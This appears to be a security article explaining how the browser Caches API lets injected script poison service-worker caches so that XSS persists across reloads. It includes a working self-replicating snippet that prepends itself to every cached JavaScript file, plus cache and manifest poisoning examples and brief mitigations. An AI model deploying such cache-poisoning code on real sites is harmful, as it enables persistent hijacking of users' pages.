Service Worker specification introduces a powerful worker to better control network requests. Service workers can intercept fetch events and decide what to respond with. The specification also includes a Caches API for websites to store response cache. Site owners can easily benefit from the two new APIs that boost page load speed and optimize user experience since service workers can serve static resources or even the initial document request.
Nonetheless, Caches API is somewhat fragile and vulnerable to XSS attacks. It can be harnessed by malicious code to pollute caches, which may enable XSS to survive page reloading or deletion from backend databases and lead to persistent threats to users. We will demonstrate several possible cases in the following article. Fortunately, the specification is relatively new and still in the Candidate Recommendation stage; top websites are still making careful progress in shipping caches to production. We have time to figure out ways to counteract.
The exploitable part in the spec locates at § 5.4. Cache, stated by the following description.
[SecureContext,Exposed=(Window,Worker)] interface Cache { [NewObject] Promise<any>match(RequestInforequest, optionalCacheQueryOptionsoptions = {}); [NewObject] Promise<FrozenArray<Response>>matchAll(optionalRequestInforequest, optionalCacheQueryOptionsoptions = {}); [NewObject] Promise<void>add(RequestInforequest); [NewObject] Promise<void>addAll(sequence<RequestInfo>requests); [NewObject] Promise<void>put(RequestInforequest,Responseresponse); [NewObject] Promise<boolean>delete(RequestInforequest, optionalCacheQueryOptionsoptions = {}); [NewObject] Promise<FrozenArray<Request>>keys(optionalRequestInforequest, optionalCacheQueryOptionsoptions = {}); };
[SecureContext,Exposed=(Window,Worker)] interface Cache { [NewObject] Promise<any>match(RequestInforequest, optionalCacheQueryOptionsoptions = {}); [NewObject] Promise<FrozenArray<Response>>matchAll(optionalRequestInforequest, optionalCacheQueryOptionsoptions = {}); [NewObject] Promise<void>add(RequestInforequest); [NewObject] Promise<void>addAll(sequence<RequestInfo>requests); [NewObject] Promise<void>put(RequestInforequest,Responseresponse); [NewObject] Promise<boolean>delete(RequestInforequest, optionalCacheQueryOptionsoptions = {}); [NewObject] Promise<FrozenArray<Request>>keys(optionalRequestInforequest, optionalCacheQueryOptionsoptions = {}); };
A
Cache
object represents a request response list. Multiple separate objects implementing theCache
interface across documents and workers can all be associated with the same request response list simultaneously.
As every document can access and operate the cache object, which stores the same content as the service worker, it’s possible for a malicious script to write contents into caches. Because there is no mechanism to verify the caches are valid and secure server response, they can then be served as trusted ones by innocent service workers.
To begin with, we can write a simple victim service worker that serves static resources of all kinds from caches. Here is a code snippet from MDN illustrating basic usage of CacheStorage API.
self.addEventListener('install', function (event) {
event.waitUntil(
caches.open('v1').then(function (cache) {
return cache.addAll([
'/sw-test/',
'/sw-test/index.html',
'/sw-test/style.css',
'/sw-test/app.js',
'/sw-test/image-list.js',
'/sw-test/star-wars-logo.jpg',
'/sw-test/gallery/bountyHunters.jpg',
'/sw-test/gallery/myLittleVader.jpg',
'/sw-test/gallery/snowTroopers.jpg',
])
}),
)
})
self.addEventListener('fetch', function (event) {
event.respondWith(
caches.match(event.request).then(function (response) {
// caches.match() always resolves
// but in case of success response will have value
if (response !== undefined) {
return response
} else {
return fetch(event.request)
.then(function (response) {
// response may be used only once
// we need to save clone to put one copy in cache
// and serve second one
let responseClone = response.clone()
caches.open('v1').then(function (cache) {
cache.put(event.request, responseClone)
})
return response
})
.catch(function () {
return caches.match('/sw-test/gallery/myLittleVader.jpg')
})
}
}),
)
})
self.addEventListener('install', function (event) {
event.waitUntil(
caches.open('v1').then(function (cache) {
return cache.addAll([
'/sw-test/',
'/sw-test/index.html',
'/sw-test/style.css',
'/sw-test/app.js',
'/sw-test/image-list.js',
'/sw-test/star-wars-logo.jpg',
'/sw-test/gallery/bountyHunters.jpg',
'/sw-test/gallery/myLittleVader.jpg',
'/sw-test/gallery/snowTroopers.jpg',
])
}),
)
})
self.addEventListener('fetch', function (event) {
event.respondWith(
caches.match(event.request).then(function (response) {
// caches.match() always resolves
// but in case of success response will have value
if (response !== undefined) {
return response
} else {
return fetch(event.request)
.then(function (response) {
// response may be used only once
// we need to save clone to put one copy in cache
// and serve second one
let responseClone = response.clone()
caches.open('v1').then(function (cache) {
cache.put(event.request, responseClone)
})
return response
})
.catch(function () {
return caches.match('/sw-test/gallery/myLittleVader.jpg')
})
}
}),
)
})
The service worker functions as follows:
Static resources bear the brunt of cache pollution. Malicious scripts can not only change the contents of stylesheets or API responses, but also write arbitrary code to static Javascript resources in CacheStorage
simply by constructing a Response
object.
const c = await caches.open('cache-name')
c.put('index.js', new Response('alert(1)'))
const c = await caches.open('cache-name')
c.put('index.js', new Response('alert(1)'))
Scripts may as well control other resources beyond our expectations.
Content Security Policy Level 3 specifies two methods CSP can be delivered to clients, as described in § 3. Policy Delivery. A server can enable CSP via some specific HTTP header or HTML document with an extra meta
tag.
A server MAY declare a policy for a particular resource representation via an HTTP response header field whose value is a serialized CSP. This mechanism is defined in detail in § 3.1 The Content-Security-Policy HTTP Response Header Field and § 3.2 The Content-Security-Policy-Report-Only HTTP Response Header Field, and the integration with Fetch and HTML is described in § 4.1 Integration with Fetch and § 4.2 Integration with HTML.
A policy may also be declared inline in an HTML document via a
meta
element’shttp-equiv
attribute, as described in § 3.3 The <meta> element.
While on the other hand, service workers can respond to the initial request of the document as a part of the HTTP fetch process according to the Fetch standard, which is intended to provide offline availability.
This implies the initial document can also be overwritten, removing CSP headers and the meta tag and opening a door for other types of XSS attacks. The attacker will fully control the site content and that sounds scaring.
Web manifest is registered via a link
tag and can be cached and poisoned.
c.put('app.webmanifest', new Response('{...}', {}))
c.put('app.webmanifest', new Response('{...}', {}))
Some fields in the manifest can be overridden to mislead users:
start_url
member/login?next=
or /redirect?to=
to redirect to externalrelated_applications
and prefer_related_applications
memberWhat jeopardizes the users most is the persistence of cache pollution, and it’s even worse because polluted cached scripts can further repeat the process of overwriting script caches. Attackers can now focus on prolonged attacks such as collecting user behavior or crypto mining.
;(function rp() {
!globalThis.__MAL__ &&
// insert into caches only once, but we can set timers to check repeatedly
// to replicate into new caches or prevent being overwritten by SW
(caches.keys().then((c) =>
c.map((s) =>
caches.open(s).then((s) =>
s.keys().then((k) =>
k
.filter((r) => r.url.endsWith('.js'))
.map(
(k) =>
s
.match(k.url)
.then((r) => r.text())
.then((t) => s.put(k.url, new Response(`(${rp})();${t}`))), // self replication
),
),
),
),
),
(globalThis.__MAL__ = true),
alert('hello from cache'))
})()
;(function rp() {
!globalThis.__MAL__ &&
// insert into caches only once, but we can set timers to check repeatedly
// to replicate into new caches or prevent being overwritten by SW
(caches.keys().then((c) =>
c.map((s) =>
caches.open(s).then((s) =>
s.keys().then((k) =>
k
.filter((r) => r.url.endsWith('.js'))
.map(
(k) =>
s
.match(k.url)
.then((r) => r.text())
.then((t) => s.put(k.url, new Response(`(${rp})();${t}`))), // self replication
),
),
),
),
),
(globalThis.__MAL__ = true),
alert('hello from cache'))
})()
The code snippet automatically finds out script resources in the cache storage and replicates itself. Try running it using devtools on YouTube or Twitter, and refresh the page. An alert will be displayed each time the page reloads unless ALL JavaScript caches are cleared or invalidated simultaneously by the service worker.
However, we still have ways to mitigate such pollution:
response.type
before answering, a Response
object created by JS is different from normal request Response
Service Worker 1: https://www.w3.org/TR/service-workers/
Web Application Manifest: https://www.w3.org/TR/appmanifest/
Web Workers: https://www.w3.org/TR/workers/
Content Security Policy Level 3: https://www.w3.org/TR/CSP3/
Fetch: https://fetch.spec.whatwg.org/